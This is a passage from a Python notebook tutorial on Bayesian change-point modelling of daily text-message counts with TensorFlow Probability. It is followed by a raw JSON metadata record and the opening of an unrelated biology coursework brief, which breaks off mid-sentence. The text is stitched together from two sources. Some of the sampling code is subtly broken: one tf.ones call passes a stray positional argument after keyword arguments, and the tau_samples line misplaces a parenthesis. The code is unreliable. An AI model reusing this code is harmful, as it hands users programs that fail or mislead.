use Bayesian inference, we need to assign prior probabilities to the different possible values of $\\lambda$. What would be good prior probability distributions for $\\lambda_1$ and $\\lambda_2$? Recall that $\\lambda$ can be any positive number. As we saw earlier, the *exponential* distribution provides a continuous density function for positive numbers, so it might be a good choice for modeling $\\lambda_i$. But recall that the exponential distribution takes a parameter of its own, so we'll need to include that parameter in our model. Let's call that parameter $\\alpha$.\n# $$\n# \\begin{align}\n# &\\lambda_1 \\sim \\text{Exp}( \\alpha ) \\\\\n# &\\lambda_2 \\sim \\text{Exp}( \\alpha )\n# \\end{align}\n# $$\n# $\\alpha$ is called a *hyper-parameter* or *parent variable*. In literal terms, it is a parameter that influences other parameters. Our initial guess at $\\alpha$ does not influence the model too strongly, so we have some flexibility in our choice.  A good rule of thumb is to set the exponential parameter equal to the inverse of the average of the count data. Since we're modeling $\\lambda$ using an exponential distribution, we can use the expected value identity shown earlier to get:\n#\n# $$\\frac{1}{N}\\sum_{i=0}^N \\;C_i \\approx E[\\; \\lambda \\; |\\; \\alpha ] = \\frac{1}{\\alpha}$$ \n#  \n# An alternative, and something I encourage the reader to try, would be to have two priors: one for each $\\lambda_i$. Creating two exponential distributions with different $\\alpha$ values reflects our prior belief that the rate changed at some point during the observations.\n#  \n# What about $\\tau$? Because of the noisiness of the data, it's difficult to pick out a priori when $\\tau$ might have occurred. Instead, we can assign a *uniform prior belief* to every possible day. This is equivalent to saying\n# $$\n# \\begin{align}\n# & \\tau \\sim \\text{DiscreteUniform(1,70) }\\\\\n# & \\Rightarrow P( \\tau = k ) = \\frac{1}{70}\n# \\end{align}\n# $$\n# So after all this, what does our overall prior distribution for the unknown variables look like? Frankly, *it doesn't matter*. What we should understand is that it's an ugly, complicated mess involving symbols only a mathematician could love. And things will only get uglier the more complicated our models become. Regardless, all we really care about is the posterior distribution.\n#\n# We next turn to [TensorFlow Probability](https://tensorflow.org/probability), a Python library for performing Bayesian analysis that is undaunted by the mathematical monster we have created.\n\n# + {\"colab_type\": \"text\", \"id\": \"mCz2BozPcYNy\", \"cell_type\": \"markdown\"}\n# ## Introducing our first hammer: TensorFlow Probability\n#\n# TensorFlow Probability (TFP) is a Python library for programming Bayesian analysis. It is intended for data scientists, statisticians, machine learning practitioners, and scientists. Since it is built on the TensorFlow (TF) stack, it brings the runtime benefits of TF to Bayesian analysis. These include write-once run-many (ability to run your development model in production) and speedups via state-of-the-art hardware (GPUs and TPUs). \n#\n# Since TFP is relatively new, the TFP community is actively developing documentation, \n# especially docs and examples that bridge the gap between beginner and hacker. One of this book's main goals is to solve that problem, and also to demonstrate why TFP is so cool.\n#\n# We will model the problem above using TFP. This type of programming is called *probabilistic programming*, an unfortunate misnomer that invokes ideas of randomly-generated code and has likely confused and frightened users away from this field. The code is not random; it is probabilistic in the sense that we create probability models using programming variables as the model's components. \n#\n# B. Cronin [[4]](#scrollTo=nDdph0r1ABCn) has a very motivating description of probabilistic programming:\n#\n# >   Another way of thinking about this: unlike a traditional program, which only runs in the forward directions, a probabilistic program is run in both the forward and backward direction. It runs forward to compute the consequences of the assumptions it contains about the world (i.e., the model space it represents), but it also runs backward from the data to constrain the possible explanations. In practice, many probabilistic programming systems will cleverly interleave these forward and backward operations to efficiently home in on the best explanations.\n#\n# Because of the confusion engendered by the term *probabilistic programming*, I'll refrain from using it. Instead, I'll simply say *programming*, since that's what it really is. \n#  \n# TFP code is easy to read. The only novel thing should be the syntax. Simply remember that we are representing the model's components ($\\tau, \\lambda_1, \\lambda_2$ ) as variables.\n\n# + {\"colab_type\": \"text\", \"id\": \"gYVjgZQ3hOw-\", \"cell_type\": \"markdown\"}\n# ## Specify the joint log-density\n#\n# We'll assume the data is a consequence of the following generative model:\n#\n# $$\\begin{align*}\n# \\lambda_{1}^{(0)} &\\sim \\text{Exponential}(\\text{rate}=\\alpha) \\\\\n# \\lambda_{2}^{(0)} &\\sim \\text{Exponential}(\\text{rate}=\\alpha) \\\\\n# \\tau &\\sim \\text{Uniform}[\\text{low}=0,\\text{high}=1) \\\\\n# \\text{for }  i &= 1\\ldots N: \\\\\n# \\lambda_i &= \\begin{cases} \\lambda_{1}^{(0)}, & \\tau > i/N \\\\ \\lambda_{2}^{(0)}, & \\text{otherwise}\\end{cases}\\\\\n#  X_i &\\sim \\text{Poisson}(\\text{rate}=\\lambda_i)\n# \\end{align*}$$\n#\n# Happily, this model can be easily implemented using TF and TFP's distributions:\n#\n#\n# This code creates a new function `lambda_`, but really we can think of it as a random variable: the random variable $\\lambda$ from above. The [gather](https://https://www.tensorflow.org/api_docs/python/tf/gather) function assigns `lambda_1` or `lambda_2` as the value of `lambda_`, depending on what side of `tau` we are on. The values of `lambda_` up until `tau` are `lambda_1` and the values afterwards are `lambda_2`.\n#\n# Note that because `lambda_1`, `lambda_2` and `tau` are random, `lambda_` will be random. We are **not** fixing any variables yet.\n#\n# TFP performs probabilistic inference by evaluating the model parameters using a joint_log_prob function, which we'll describe more in Chapter 2.\n#\n\n# + {\"colab\": {}, \"colab_type\": \"code\", \"id\": \"rYc_bbho-QzH\"}\ndef joint_log_prob(count_data, lambda_1, lambda_2, tau):\n    tfd = tfp.distributions\n \n    alpha = np.array(1. / count_data.mean(), np.float32)\n    rv_lambda_1 = tfd.Exponential(rate=alpha)\n    rv_lambda_2 = tfd.Exponential(rate=alpha)\n \n    rv_tau = tfd.Uniform()\n \n    lambda_ = tf.gather(\n         [lambda_1, lambda_2],\n         indices=tf.to_int32(tau * count_data.size <= np.arange(count_data.size)))\n    rv_observation = tfd.Poisson(rate=lambda_)\n \n    return (\n         rv_lambda_1.log_prob(lambda_1)\n         + rv_lambda_2.log_prob(lambda_2)\n         + rv_tau.log_prob(tau)\n         + tf.reduce_sum(rv_observation.log_prob(count_data))\n    )\n\n\n# + {\"colab_type\": \"text\", \"id\": \"t7Vvrj68jsr7\", \"cell_type\": \"markdown\"}\n# Notice that the implementation is arguably very close to being a 1:1 translation of the mathematical model. The main difference is merely that once we've specified the probabilistic model, we return the sum of the log_probs.\n\n# + {\"colab_type\": \"text\", \"id\": \"KnyDyY8Tjyiy\", \"cell_type\": \"markdown\"}\n# ## Specify the posterior sampler\n\n# + {\"colab_type\": \"text\", \"id\": \"CGreTr4ljwuF\", \"cell_type\": \"markdown\"}\n# The code below will be explained in Chapter 3, but we show it here so you can see where our results come from. One can think of it as a *learning* step. The machinery being employed is called *Markov Chain Monte Carlo* (MCMC), which we also delay explaining until Chapter 3. This technique returns thousands of random variables from the posterior distributions of $\\lambda_1, \\lambda_2$ and $\\tau$. We can plot a histogram of the random variables to see what the posterior distributions look like. Below, we collect the samples (called *traces* in the MCMC literature) into histograms.\n\n# + {\"colab\": {}, \"colab_type\": \"code\", \"id\": \"YBCXrK9gj8Gx\"}\n# Set the chain's start state.\ninitial_chain_state = [\n    tf.cast(tf.reduce_mean(count_data), tf.float32) * tf.ones([], dtype=tf.float32, name=\"init_lambda1\"),\n    tf.cast(tf.reduce_mean(count_data), tf.float32) * tf.ones([], dtype=tf.float32, name=\"init_lambda2\", tf.float32),\n    0.5 * tf.ones([], dtype=tf.float32, name=\"init_tau\"),\n]\n\n\n# Since HMC operates over unconstrained space, we need to transform the\n# samples so they live in real-space.\nunconstraining_bijectors = [\n    tfp.bijectors.Exp(),       # Maps a positive real to R.\n    tfp.bijectors.Exp(),       # Maps a positive real to R.\n    tfp.bijectors.Sigmoid(),   # Maps [0,1] to R.  \n]\n\n\ndef joint_log_prob(count_data, lambda_1, lambda_2, tau):\n    tfd = tfp.distributions\n \n    alpha = (1. / tf.reduce_mean(count_data))\n    rv_lambda_1 = tfd.Exponential(rate=alpha)\n    rv_lambda_2 = tfd.Exponential(rate=alpha)\n \n    rv_tau = tfd.Uniform()\n \n\n    lambda_ = tf.gather(\n         [lambda_1, lambda_2],\n         indices=tf.to_int32(tau * tf.cast(tf.size(count_data), tf.float32) <= tf.cast(tf.range(tf.size(count_data)), tf.float32)))\n    rv_observation = tfd.Poisson(rate=lambda_)\n \n    return (\n         rv_lambda_1.log_prob(lambda_1)\n         + rv_lambda_2.log_prob(lambda_2)\n         + rv_tau.log_prob(tau)\n         + tf.reduce_sum(rv_observation.log_prob(count_data))\n    )\n\n\n# Define a closure over our joint_log_prob.\ndef unnormalized_log_posterior(lambda1, lambda2, tau):\n    return joint_log_prob(count_data, lambda1, lambda2, tau)\n\n\n# Initialize the step_size. (It will be automatically adapted.)\nwith tf.variable_scope(tf.get_variable_scope(), reuse=tf.AUTO_REUSE):\n    step_size = tf.get_variable(\n        name='step_size',\n        initializer=tf.constant(0.05, dtype=tf.float32),\n        trainable=False,\n        use_resource=True\n    )\n\n# Sample from the chain.\n[\n    lambda_1_samples,\n    lambda_2_samples,\n    posterior_tau,\n], kernel_results = tfp.mcmc.sample_chain(\n    num_results=100000,\n    num_burnin_steps=10000,\n    current_state=initial_chain_state,\n    kernel=tfp.mcmc.TransformedTransitionKernel(\n        inner_kernel=tfp.mcmc.HamiltonianMonteCarlo(\n            target_log_prob_fn=unnormalized_log_posterior,\n            num_leapfrog_steps=2,\n            step_size=step_size,\n            step_size_update_fn=tfp.mcmc.make_simple_step_size_update_policy(),\n            state_gradients_are_stopped=True),\n        bijector=unconstraining_bijectors))\n\ntau_samples = tf.floor(posterior_tau * tf.cast(tf.size(count_data)), tf.float32)\n\n# tau_samples, lambda_1_samples, lambda_2_samples contain\n# N samples from the corresponding posterior distribution\nN = tf.shape(tau_samples)[0]\nexpected_texts_per_day = tf.zeros(n_count_data)\n\n\n# Initialize any created variables.\ninit_g = tf.global_variables_initializer()\ninit_l = tf.local_variables_initializer()\n\n\n# + {\"colab_type\": \"text\", \"id\": \"N1mb2NDUkJLU\", \"cell_type\": \"markdown\"}\n# ## Executing the TF graph to sample from the posterior\n\n# + {\"colab\": {\"base_uri\": \"https://localhost:8080/\", \"height\": 53}, \"colab_type\": \"code\", \"id\": \"NpNv545ZkLjb\", \"outputId\": \"e0fdbba7-3a66-44a5-910c-d2caa3d84a4f\"}\nevaluate(init_g)\nevaluate(init_l)\n[\n    lambda_1_samples_,\n    lambda_2_samples_,\n    tau_samples_,\n    kernel_results_,\n    N_,\n    expected_texts_per_day_,\n] = evaluate([\n    lambda_1_samples,\n    lambda_2_samples,\n    tau_samples,\n    kernel_results,\n    N,\n    expected_texts_per_day,\n])\n\n    \nprint(\"acceptance rate: {}\".format(\n    kernel_results_.inner_results.is_accepted.mean()))\nprint(\"final step size: {}\".format(\n    kernel_results_.inner_results.extra.step_size_assign[-100:].mean()))\n\n\n\n# + {\"colab_type\": \"text\", \"id\": \"vIxEqx9qkhWr\", \"cell_type\": \"markdown\"}\n# ## Plot the Results\n\n# + {\"colab\": {\"base_uri\": \"https://localhost:8080/\", \"height\": 896}, \"colab_type\": \"code\", \"id\": \"viLRm6DEkRPM\", \"outputId\": \"bab21304-d1da-4f91-ed27-66ef070202f5\"}\nplt.figure(figsize=(12.5, 15))\n#histogram of the samples:\n\nax = plt.subplot(311)\nax.set_autoscaley_on(False)\n\nplt.hist(lambda_1_samples_, histtype='stepfilled', bins=30, alpha=0.85,\n         label=r\"posterior of $\\lambda_1$\", color=TFColor[0], density=True)\nplt.legend(loc=\"upper left\")\nplt.title(r\"\"\"Posterior distributions of the variables $\\lambda_1,\\;\\lambda_2,\\;\\tau$\"\"\")\nplt.xlim([15, 30])\nplt.xlabel(r\"$\\lambda_1$ value\")\n\nax = plt.subplot(312)\nax.set_autoscaley_on(False)\nplt.hist(lambda_2_samples_, histtype='stepfilled', bins=30, alpha=0.85,\n         label=r\"posterior of $\\lambda_2$\", color=TFColor[6], density=True)\nplt.legend(loc=\"upper left\")\nplt.xlim([15, 30])\nplt.xlabel(r\"$\\lambda_2$ value\")\n\nplt.subplot(313)\nw = 1.0 / tau_samples_.shape[0] * np.ones_like(tau_samples_)\nplt.hist(tau_samples_, bins=n_count_data_[0], alpha=1,\n         label=r\"posterior of $\\tau$\",\n         color=TFColor[2], weights=w, rwidth=2.)\nplt.xticks(np.arange(n_count_data_[0]))\n\nplt.legend(loc=\"upper left\")\nplt.ylim([0, .75])\nplt.xlim([35, len(count_data_)-20])\nplt.xlabel(r\"$\\tau$ (in days)\")\nplt.ylabel(r\"probability\");\n\n# + {\"colab_type\": \"text\", \"id\": \"FfiTXgF80sDA\", \"cell_type\": \"markdown\"}\n# ## Interpretation\n#\n# Recall that Bayesian methodology returns a *distribution*. Hence we now have distributions to describe the unknown $\\lambda$s and $\\tau$. What have we gained? Immediately, we can see the uncertainty in our estimates: the wider the distribution, the less certain our posterior belief should be. We can also see what the plausible values for the parameters are: $\\lambda_1$ is around 18 and $\\lambda_2$ is around 23. The posterior distributions of the two $\\lambda$s are clearly distinct, indicating that it is indeed likely that there was a change in the user's text-message behaviour.\n#\n# What other observations can you make? If you look at the original data again, do these results seem reasonable? \n#\n# Notice also that the posterior distributions for the $\\lambda$s do not look like exponential distributions, even though our priors for these variables were exponential. In fact, the posterior distributions are not really of any form that we recognize from the original model. But that's OK! This is one of the benefits of taking a computational point of view. If we had instead done this analysis using mathematical approaches, we would have been stuck with an analytically intractable (and messy) distribution. Our use of a computational approach makes us indifferent to mathematical tractability.\n#  \n# Our analysis also returned a distribution for $\\tau$. Its posterior distribution looks a little different from the other two because it is a discrete random variable, so it doesn't assign probabilities to intervals. We can see that near day 45, there was a 50% chance that the user's behaviour changed. Had no change occurred, or had the change been gradual over time, the posterior distribution of $\\tau$ would have been more spread out, reflecting that many days were plausible candidates for $\\tau$. By contrast, in the actual results we see that only three or four days make any sense as potential transition points. \n#\n# ### Why would I want samples from the posterior, anyways?\n#\n# We will deal with this question for the remainder of the book, and it is an understatement to say that it will lead us to some amazing results. For now, let's end this chapter with one more example.\n#\n# We'll use the posterior samples to answer the following question: what is the expected number of texts at day $t, \\; 0 \\le t \\le 70$ ? Recall that the expected value of a Poisson variable is equal to its parameter $\\lambda$. Therefore, the question is equivalent to *what is the expected value of $\\lambda$ at time $t$*?\n#  \n# In the code below, let $i$ index samples from the posterior distributions. Given a day $t$, we average over all possible $\\lambda_i$ for that day $t$, using $\\lambda_i = \\lambda_{1,i}$ if $t \\lt \\tau_i$ (that is, if the behaviour change has not yet occurred), else we use $\\lambda_i = \\lambda_{2,i}$. \n#\n\n# + {\"colab\": {\"base_uri\": \"https://localhost:8080/\", \"height\": 566}, \"colab_type\": \"code\", \"id\": \"DgNkjkmO1h4I\", \"outputId\": \"195a4269-7f76-4bc3-ec1b-a2f9c6a09ceb\"}\nplt.figure(figsize=(12.5, 9))\n\nfor day in range(0, n_count_data_[0]):\n    # ix is a bool index of all tau samples corresponding to\n    # the switchpoint occurring prior to value of 'day'\n    ix = day < tau_samples_\n    # Each posterior sample corresponds to a value for tau.\n    # for each day, that value of tau indicates whether we're \"before\"\n    # (in the lambda1 \"regime\") or\n    #  \"after\" (in the lambda2 \"regime\") the switchpoint.\n    # by taking the posterior sample of lambda1/2 accordingly, we can average\n    # over all samples to get an expected value for lambda on that day.\n    # As explained, the \"message count\" random variable is Poisson distributed,\n    # and therefore lambda (the poisson parameter) is the expected value of\n    # \"message count\".\n    expected_texts_per_day_[day] = (lambda_1_samples_[ix].sum()\n                                   + lambda_2_samples_[~ix].sum()) / N_\n\n\nplt.plot(range(n_count_data_[0]), expected_texts_per_day_, lw=4, color=\"#E24A33\",\n         label=\"expected number of text-messages received\")\nplt.xlim(0, n_count_data_[0])\nplt.xlabel(\"Day\")\nplt.ylabel(\"Expected # text-messages\")\nplt.title(\"Expected number of text-messages received\")\nplt.ylim(0, 60)\nplt.bar(np.arange(len(count_data_)), count_data_, color=\"#5DA5DA\", alpha=0.65,\n        label=\"observed texts per day\")\n\nplt.legend(loc=\"upper left\");\n\n# + {\"colab_type\": \"text\", \"id\": \"cgCrDy8M3IZT\", \"cell_type\": \"markdown\"}\n# Our analysis shows strong support for believing the user's behavior did change ($\\lambda_1$ would have been close in value to $\\lambda_2$ had this not been true), and that the change was sudden rather than gradual (as demonstrated by $\\tau$'s strongly peaked posterior distribution). We can speculate what might have caused this: a cheaper text-message rate, a recent weather-to-text subscription, or perhaps a new relationship. (In fact, the 45th day corresponds to Christmas, and I moved away to Toronto the next month, leaving a girlfriend behind.)\n#\n#\n# ## Exercises\n#  \n# 1.   Using `lambda_1_samples` and `lambda_2_samples`, what is the mean of the posterior distributions of $\\lambda_1$ and $\\lambda_2$?\n#\n#\n\n# + {\"colab\": {}, \"colab_type\": \"code\", \"id\": \"ddpQzca9ACJF\"}\n#type your code here.\n\n# + {\"colab_type\": \"text\", \"id\": \"p4krLq5J_356\", \"cell_type\": \"markdown\"}\n# 2.   What is the expected percentage increase in text-message rates? `hint:` compute the mean of `lambda_1_samples/lambda_2_samples`. Note that this quantity is very different from `lambda_1_samples.mean()/lambda_2_samples.mean()`\n\n# + {\"colab\": {}, \"colab_type\": \"code\", \"id\": \"qWoCGbmEAEvb\"}\n#type your code here.\n\n# + {\"colab_type\": \"text\", \"id\": \"vGHVkSlp_9zf\", \"cell_type\": \"markdown\"}\n# 3. What is the mean of $\\lambda_1$ **given** that we know $\\tau$ is less than 45? That is, suppose we have been given new information that the change in behaviour occurred prior to day 45. What is the expected value of $\\lambda_1$ now? (You do not need to redo the TFP part. Just consider all instances where `tau_samples < 45`.)\n\n# + {\"colab\": {}, \"colab_type\": \"code\", \"id\": \"worLRhcVAFeK\"}\n#type your code here.\n\n# + {\"colab_type\": \"text\", \"id\": \"nDdph0r1ABCn\", \"cell_type\": \"markdown\"}\n# ## References\n#\n# [1] Gelman, Andrew. N.p.. Web. 22 Jan 2013. [N is never large enough](http://andrewgelman.com/2005/07/31/n_is_never_larg)\n#  \n# [2] Norvig, Peter. 2009. [The Unreasonable Effectiveness of Data](http://static.googleusercontent.com/media/research.google.com/en//pubs/archive/35179.pdf).\n#\n# [3] Jimmy Lin and Alek Kolcz. Large-Scale Machine Learning at Twitter. Proceedings of the 2012 ACM SIGMOD International Conference on Management of Data (SIGMOD 2012), pages 793-804, May 2012, Scottsdale, Arizona.\n#\n# [4] Cronin, Beau. \"Why Probabilistic Programming Matters.\" 24 Mar 2013. Google, Online Posting to Google . Web. 24 Mar. 2013. <https://plus.google.com/u/0/107971134877020469960/posts/KpeRdJKR6Z1>.\n\n# + {\"colab\": {\"base_uri\": \"https://localhost:8080/\", \"height\": 331}, \"colab_type\": \"code\", \"id\": \"FY5Ftmqh3IC6\", \"outputId\": \"d4cac394-c473-4de5-86d9-b58a08c33fd6\"}\nfrom IPython.core.display import HTML\ndef css_styling():\n    styles = open(\"../styles/custom.css\", \"r\").read()\n    return HTML(styles)\ncss_styling()\n\n", "meta": {"hexsha": "901f98e337113a064baf28476b292287c126025e", "size": 66768, "ext": "py", "lang": "Python", "max_stars_repo_path": "Chapter1_Introduction/Ch1_Introduction_TFP.py", "max_stars_repo_name": "pjleimbigler/Probabilistic-Programming-and-Bayesian-Methods-for-Hackers", "max_stars_repo_head_hexsha": "0d7bd5d6e447fb64d91d93b1098421c717435229", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Chapter1_Introduction/Ch1_Introduction_TFP.py", "max_issues_repo_name": "pjleimbigler/Probabilistic-Programming-and-Bayesian-Methods-for-Hackers", "max_issues_repo_head_hexsha": "0d7bd5d6e447fb64d91d93b1098421c717435229", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Chapter1_Introduction/Ch1_Introduction_TFP.py", "max_forks_repo_name": "pjleimbigler/Probabilistic-Programming-and-Bayesian-Methods-for-Hackers", "max_forks_repo_head_hexsha": "0d7bd5d6e447fb64d91d93b1098421c717435229", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 62.1097674419, "max_line_length": 904, "alphanum_fraction": 0.7243739516, "include": true, "reason": "import numpy", "num_tokens": 17632, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.411110869232168, "lm_q2_score": 0.22541661063147309, "lm_q1q2_score": 0.09267121873607406}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # The Computing Miniproject\n\n# ## Introduction \n# \n# The computing Miniproject gives you an opportunity to try the \"whole nine yards\" of *asking and answering* a scientific question in biology (potentially involving multiple sub-questions/hypotheses) in a **fully reproducible way**. It will in essence give you an opportunity to perform a useful \"dry run\" of executing your actual Dissertation project. *It is an opportunity to do something concrete with all the computational biology techniques you have been learning.*\n# \n# \n# ## Objectives\n# \n# **The general question you will address is:** *What mathematical models best fit an empirical dataset?*\n# \n# You may think of this as testing a set of alternative hypotheses \u2014 every alternative hypothesis is nothing but a different model to describe an observed phenomenon, as you will have learned in the model fitting lectures.\n# \n# ## The Project \n# \n# From the options provided to you (below), you will choose an empirical dataset, and a set of alternative models to fit to the data in that dataset.\n# \n# The Miniproject must satisfy the following criteria (and follow the accompanying guidelines):\n# \n# 1. **It employs *as many* of the biological computing tools you have learned so far as necessary**: shell (bash) scripting, Git, LaTeX, R, and Python. Using these tools, you will build a workflow that starts with the data and ends with a written report (in LaTeX). How you choose the different tools (e.g., how much Python vs R) is your choice; that is part of what will be assessed.\n# \n# 2. **Fits and compares *at least* two alternative mathematical models to the data**. The models should be fitted and selected using an appropriate method. For example you may use a combination of Ordinary Linear and Nonlinear Least Squares (NLLS) methods to fit $\\ge 2$ alternative models to data, followed by model selection using AIC and BIC (read the Johnson and Omland 2005 paper in the Readings & Resources section below).*\n# \n# 3. **It should be fully reproducible.** You will write a script that \"glues\" the workflow together and runs it, from data processing, to model fitting, to plotting, to compilation of the written report (*More detailed instructions on report below*). Refer back to the TheMulQuaBio Computing chapters to see how you would run the different components. For example, we have covered how to run R and compile $\\LaTeX$ using the `subprocess` module in the [second Python Chapter](./06-Python_II.ipynb). The assessor should be able to run just this script to get everything to work without errors.\n# \n# *You will be given lectures and practicals on model fitting before you start on your Miniproject.*\n# \n# *Please read the papers in the **Readings and Resources** section below* \u2014 these will help orient you in the right direction for tackling your Miniproject.\n# \n# \n# ## The Report\n# \n# The report should,\n# \n# * be written in LaTeX using the article document class, in 11pt (any font will do, within reason!).\n# \n# * be 1.5-spaced, with *continuous* line numbers.\n# \n# * have a Title, Author name with Affiliation and Word count on a *separate Title page*.\n# \n# * have an Introduction with objectives of the study, and appropriate additional sections such as Methods, Data, Results, Discussion, etc.\n# \n# * contain in the *Methods* a sub-section called \"Computing tools\" which states briefly how each of the scripting languages (bash, R, Python) was used and what packages within them were used and a justification of why.\n# \n# * have References properly cited in text and formatted in a list using bibtex.\n# \n# * contain $\\leq$3500 words *excluding the contents of the title page, references, and Figure or Table captions+legends*. There should be a word count at the beginning of the document (typically using the `texcount` package).\n# \n# (Miniproject-report-guidelines)=\n# ### Guidelines\n# \n# Please read the *general* (*not* word count, formatting etc.) dissertation writing guidelines given in the Silwood Masters Student Guidebook.\n# \n# ```{tip}\n# **Start writing early**. Its NEVER too early to start writing! Outline the structure of your report and attempt to write a brief introduction even if you don't have any results, or have not finalized your methods, computational work flow, or analyses. Doing this preliminary writing will force you to think about the logic of what you are planning to do, put your planned work in some context, and (in most cases!) motivate you.  \n# ```\n# \n# Here are some additional suggestions/guidelines:\n# \n# * **In General**:\n#     * In scientific writing (papers, reports), a \"narrative\" or \"flow\" is important. What this means (more on each of these components below):\n#         * Starting with the Title, and through the Introduction, Methods, Results and Discussion, there is a common thread (focal issue or topic).\n#         * The *Title* gives a summary of what the article is about, and may even convey what the main finding is.\n#         * The *Introduction* clearly and accurately builds and \"expectation\" for the reader, i.e., what to look for in the subsequent sections. \n#         * The *Methods* and *Results*, to thee extent possible, follow the same sequence of topics (and questions/hypotheses) that were laid out in the Introduction\n#         * The *Discussion* reminds the reader about what the original goals of the study were, states out key findings succinctly, and then discusses their implications in the wider context and then finished off with some caveats and a conclusion that delivers the final take-away messages.     \n#     * Avoid sub-sectioning (with headers) the *Introduction* and *Discussion* sections as it breaks the flow of your \"narrative\". On the other hand, you will almost always sub-section the Methods, and to an extent the Results sections.\n#     * Pay attention to detail: \n#         * Do a spell check on the final draft\n#         * Make sure that all graphics are rendered in good quality (use [vector graphic](https://en.wikipedia.org/wiki/Vector_graphics) formats as much as possible). Remember, $\\LaTeX$ allows you to embed vector graphics in pdf.\n#         * Make sure that all the display items (Tables + Figures) have a text caption that states what the display item is for, and then a text legend that explains the figure and delivers any take home messages. \n#     * The display items alone should be able to tell most of the story. Once you have an outline of the manuscript, first, before doing any more writing, put in the display items (generally, 4-6 should be enough) with Captions and Legends, and see if they are indeed telling the story you would like your paper/report to tell.   \n#     * Avoid the words \"explore\" or \"look at\" to describe your ob objectives \n#     * Use direct speech (as it is YOUR work!)\n#         * So, for example, avoid phrases such as \"This study investigates\"; say \"Here I investigate\" or something like that instead.\n#         \n# * **The Title**\n#    * The Title should give a summary of what the article is about, and may even convey the main finding(s). Make it as result-focused as possible, and avoid being vague. \n#    * Keep the number of words to a minimum (upto 10-15 words is reasonable).\n#        * Some succinct title examples:\n#            * \"The role of xx in determining yy\"\n#            * \"The relative success of xx models in providing parameter estimates for yy\"\n#            * *Or better still*: \"xx models out-perform yy models for quantifying zz data\"\n#            * *OR even better still*: \"xx [organisms / traits] differ systematically across yy [some grouping variable, such as location or taxonomic categories]\" \n#        * Some not-so-nice title examples:\n#            * \"A comparison of models for describing zz using Linear and no-linear model fitting with AIC/BIC\"\n#            * \"An exploration of xx models for describing yy data using Linear and Non-linear model fitting with model selection \"\n# \n# * **Abstract**: *The report must have an Abstract.*\n#     * It should be a \"mini-paper\" in itself: So, 1-2 lines on background, 1-2 lines on the paper's objectives, 1-2 lines on the methods, 1-2 lines on the main results, 1-2 lines on the main conclusions + take home messages. Remember the abstract counts towards the total work limit (at least as far as your Mini-project report is concerned), so you will need to be succinct. About 200 words is the suggested maximum.\n#     * Do not be vague about the take home messages at the end of the abstract. For example, do not say something like \"Thus this study shows that more work needs to be done...\", or \"This study shows that model selection is useful...\". Try instead to say something like \"This study shows that in general, xx models are better suited for yy data...\" or \"This study provides evidence that in xx [organisms / traits], yy models tend to under-perform because...\" (NOTE THAT THESE ARE HYPOTHETICAL/EXAMPLE STATEMENTS!).   \n#     \n# * **Introduction**:     \n#     * The Introduction should open with a general *enough* background (with citations). What is \"general enough\"? &ndash; A context that *justifies* the main focus of the study, and *motivates* the reader. So, for example, if the focus is population growth rates, then provide a context for why growth rates are important to study.  \n#     * Towards/At the end of the Introduction, provide some specific questions or hypotheses that will be addressed in the study. But do not present hypotheses if they are not backed by logical arguments or mathematical / computational modelling / theory. Asking questions is better than (logically/theoretically) unfounded hypotheses. The *narrative* of the Introduction should funnel the reader's attention *naturally* towards the stated hypotheses/questions; the hypotheses/questions should not come out of the blue.\n#     * And if you are going with hypotheses, add statements following the hypotheses that briefly explain the logic behind each hypothesis.\n#     \n# * **Methods**:\n#     * This will typically include subsections for key elements of your methods (e.g., Data, Models, Model fitting, etc).\n#     * Do not go overboard with describing every detail and every step of your workflow. For example, you do not need to state that \"figures were plotted in ggplot and saved to a directory called xx\". \n#     * Note the additional requirement for the miniproject report to include a section on specific computing languages and tools used and the justification for using them.  \n# \n# * **Results**:\n#     * These can also be sub-sectioned by the main questions/hypotheses/issues your are tackling. \n#     * Avoid any discussion of the results. \n#     * Reference the Figures and Tables clearly and specifically (e.g., refer to key sub-panels of figures when needed)   \n# \n# * **Discussion**:\n#     * Stat by reminding the reader about what the original goals of the study were\n#     * State key findings succinctly\n#     * Then discuss their implications in the wider context (with additional referencing beyond what you had in the intro).\n#     * Include a paragraph or two of caveats/shortcomings with clear indication of what future work can do to address them.  \n#     * End with conclusion that delivers the final take-away messages.     \n#    \n# * **Supplementary Information** (SI):\n#     * If used, SI should be a separate document and cited in the main text.\n#     * Make sure it is a separate document that includes is own references and sections/subsections.\n#     * When citing the SI, cite specific sections/subsections.\n#     * The SI should be concatenated with the main document in the final submission.\n# \n# ## Submission\n# \n# Add, commit and push all your work to your bitbucket repository using a directory called `MiniProject` at the same level as the Week1, Week2 etc. directories, by the Miniproject deadline given to you.\n# \n# At this stage, you are not going to be told you how to organize your project \u2014 that's part of the marking criteria (see next section).\n# \n# ```{note}\n# The single script that runs the whole project should be called *run_MiniProject*, with an appropriate extension (e.g., `run_MiniProject.py` or `run_MiniProject.sh`).\n# ```\n# \n# ## Marking criteria\n# \n# *Equal weightage will be given to the code+workflow and writeup components \u2014 each component will be marked to a max of 100 pts and then rescaled to a single mark / 100 using equal weightage*\n# \n# The assessor will be looking for the following while assessing your submission:\n# \n# ### Computing\n# \n# * A well-organized project where code, results, data, etc., are easy to locate, inspect, and use. In the project's README also include:\n# \n#     * Version of each language used\n# \n#     * Any dependencies or special packages the user/marker should be aware of\n# \n#     * What each package you used is for\n# \n# * A project that runs smoothly and efficiently, without any errors once a single script is called. \n# \n# \n# ### Report\n# \n# * A report that contains all the components indicated above in \"The Report\" subsection, with some original thought and synthesis in the *Introduction* and *Discussion* sections.\n# \n# * Quality of the presentation of the graphics and tables in your report, as well as any plots showing model fits to the data.\n# \n# * Don't forget to read the report guidelines [above](Miniproject-report-guidelines).    \n# \n# ### Overall\n# \n# * The marking criteria you may refer to for both components are the [summative marking criteria](https://github.com/mhasoba/TheMulQuaBio/raw/master/content/readings/MARKING_CRITERIA.pdf). \n# * The goal is to fit as many mathematical models as possible, but the minimum being 2 (to allow model comparison). You will get more marks for picking more \"difficult\" models to fit and compare (basically, one or more non-linear mathematical models).\n#     * However, note that you need to pick a problem that is 